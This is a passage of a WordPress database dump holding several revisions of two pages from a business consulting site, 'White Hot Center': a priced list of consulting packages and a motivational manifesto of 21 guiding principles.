(367, 2, '2009-07-03 08:11:32', '2009-07-03 15:11:32', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #333333;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2>1) you must do what matters to you\r\n2) what you do must matter to others</h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<span style="color: #ff6600;"><strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.</span>\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-07-03 08:11:32', '2009-07-03 15:11:32', '', 138, 'http://www.whitehotcenter.com/138-revision-39/', 0, 'revision', '', 0),
(368, 2, '2009-07-06 12:30:18', '2009-07-06 19:30:18', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<span style="color: #ff6600;"><strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.</span>\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-07-06 12:30:18', '2009-07-06 19:30:18', '', 138, 'http://www.whitehotcenter.com/138-revision-40/', 0, 'revision', '', 0);
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(369, 2, '2009-07-06 12:26:19', '2009-07-06 19:26:19', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to share with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\nIn my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs in small start-ups alike.  I‘ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires despite any physical evidence their success is being realized.\r\n\r\n<span style="color: #ff6600;"><strong>as you think, so it is.</strong>\r\n<em>the essence of all creation begins with your thoughts.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>know what you want, expect that it will be delivered to you.</strong>\r\n<em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em>\r\n<strong>\r\ndo what matters to you, and what you do must matter to others.</strong>\r\n<em>meaning + contribution= a life of significance.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>begin with what’s at hand.</strong>\r\n<em>there is no shortage of supply, you are surrounded by potential and possibility.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>as you live in your days you craft your future</strong>\r\n<em>forget the past, right now is what’s important.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>embrace simplicity.</strong>\r\n<em>do everything in an easy and relaxed manner.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>the best idea is the one you believe is impossible.</strong>\r\n<em>don’t be afraid to put your “dent in the universe”.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>be different, make a difference</strong>\r\n<em>a compelling value proposition will elevate you from the slush pile</em>.</span>\r\n\r\n<span style="color: #ff6600;"><strong>provide more use value than you receive in cash value</strong>\r\n<em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>people are more important than money</strong>\r\n<em>get this reversed and it’s game over!</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>create experiences people love.</strong>\r\n<em>doing good things for people is good business.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>listen more, sell less.</strong>\r\n<em>It’s all about them not you.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>intuition over conventional wisdom</strong>\r\n<em>follow your heart, there is no better alternative.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>daydream often</strong>\r\n<em>play aimlessly in your creative imagination.\r\n</em>\r\n<strong>focus on the important, handle the urgent.</strong>\r\n<em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>forget what you know.</strong>\r\n<em>the world moves to fast for one mind-seek collaborators.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>beware of comfort.</strong>\r\n<em>it will put you to sleep!</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>play on the edges.</strong>\r\n<em>embrace risk like your lover.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>to thine own self be true, no exceptions.</strong>\r\n<em>say no often and mean it.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>leadership is service in disguise.</strong>\r\n<em>elevate everyone you come in contact with.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>give thanks, give back.</strong>\r\n<em>the only method to experience abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 12:26:19', '2009-07-06 19:26:19', '', 136, 'http://www.whitehotcenter.com/136-revision-11/', 0, 'revision', '', 0),
(370, 2, '2009-07-06 12:53:03', '2009-07-06 19:53:03', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to share with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\nIn my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs in small start-ups alike.  I‘ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires despite any physical evidence their success is being realized.\r\n<h1>1<span style="color: #ff6600;"> </span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<span style="color: #ff6600;"><strong>as you think, so it is.</strong>\r\n<em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #333333;"><strong>2</strong></span></h1>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"><strong>know what you want, expect that it will be delivered to you.</strong>\r\n<em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<span style="color: #ff6600;"><strong>do what matters to you, and what you do must matter to others.</strong>\r\n<em>meaning + contribution= a life of significance.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>begin with what’s at hand.</strong>\r\n<em>there is no shortage of supply, you are surrounded by potential and possibility.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>as you live in your days you craft your future</strong>\r\n<em>forget the past, right now is what’s important.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>embrace simplicity.</strong>\r\n<em>do everything in an easy and relaxed manner.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>the best idea is the one you believe is impossible.</strong>\r\n<em>don’t be afraid to put your “dent in the universe”.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>be different, make a difference</strong>\r\n<em>a compelling value proposition will elevate you from the slush pile</em>.</span>\r\n\r\n<span style="color: #ff6600;"><strong>provide more use value than you receive in cash value</strong>\r\n<em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>people are more important than money</strong>\r\n<em>get this reversed and it’s game over!</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>create experiences people love.</strong>\r\n<em>doing good things for people is good business.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>listen more, sell less.</strong>\r\n<em>It’s all about them not you.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>intuition over conventional wisdom</strong>\r\n<em>follow your heart, there is no better alternative.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>daydream often</strong>\r\n<em>play aimlessly in your creative imagination.\r\n</em>\r\n<strong>focus on the important, handle the urgent.</strong>\r\n<em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>forget what you know.</strong>\r\n<em>the world moves to fast for one mind-seek collaborators.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>beware of comfort.</strong>\r\n<em>it will put you to sleep!</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>play on the edges.</strong>\r\n<em>embrace risk like your lover.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>to thine own self be true, no exceptions.</strong>\r\n<em>say no often and mean it.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>leadership is service in disguise.</strong>\r\n<em>elevate everyone you come in contact with.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>give thanks, give back.</strong>\r\n<em>the only method to experience abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 12:53:03', '2009-07-06 19:53:03', '', 136, 'http://www.whitehotcenter.com/136-revision-12/', 0, 'revision', '', 0),
(371, 2, '2009-07-06 12:55:02', '2009-07-06 19:55:02', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to share with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\nIn my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs in small start-ups alike.  I‘ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires despite any physical evidence their success is being realized.\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is.</strong></h2>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<span style="color: #ff6600;"> <em>the essence of all creation begins with your thoughts.</em></span>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, expect that it will be delivered to you.</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> do what matters to you, and what you do must matter to others.</strong></h2>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<span style="color: #ff6600;"> <em>meaning + contribution= a life of significance.</em></span>\r\n<h2><span style="color: #ff6600;"><strong>4 begin with what’s at hand.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are surrounded by potential and possibility.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>as you live in your days you craft your future</strong>\r\n<em>forget the past, right now is what’s important.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>embrace simplicity.</strong>\r\n<em>do everything in an easy and relaxed manner.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>the best idea is the one you believe is impossible.</strong>\r\n<em>don’t be afraid to put your “dent in the universe”.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>be different, make a difference</strong>\r\n<em>a compelling value proposition will elevate you from the slush pile</em>.</span>\r\n\r\n<span style="color: #ff6600;"><strong>provide more use value than you receive in cash value</strong>\r\n<em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>people are more important than money</strong>\r\n<em>get this reversed and it’s game over!</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>create experiences people love.</strong>\r\n<em>doing good things for people is good business.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>listen more, sell less.</strong>\r\n<em>It’s all about them not you.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>intuition over conventional wisdom</strong>\r\n<em>follow your heart, there is no better alternative.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>daydream often</strong>\r\n<em>play aimlessly in your creative imagination.\r\n</em>\r\n<strong>focus on the important, handle the urgent.</strong>\r\n<em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>forget what you know.</strong>\r\n<em>the world moves to fast for one mind-seek collaborators.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>beware of comfort.</strong>\r\n<em>it will put you to sleep!</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>play on the edges.</strong>\r\n<em>embrace risk like your lover.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>to thine own self be true, no exceptions.</strong>\r\n<em>say no often and mean it.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>leadership is service in disguise.</strong>\r\n<em>elevate everyone you come in contact with.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>give thanks, give back.</strong>\r\n<em>the only method to experience abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 12:55:02', '2009-07-06 19:55:02', '', 136, 'http://www.whitehotcenter.com/136-revision-13/', 0, 'revision', '', 0),
(372, 2, '2009-07-06 13:03:23', '2009-07-06 20:03:23', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to share with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\nIn my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs in small start-ups alike.  I‘ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires despite any physical evidence their success is being realized.\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, right now is what’s important.</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you believe is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em>\r\n</span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind-seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no 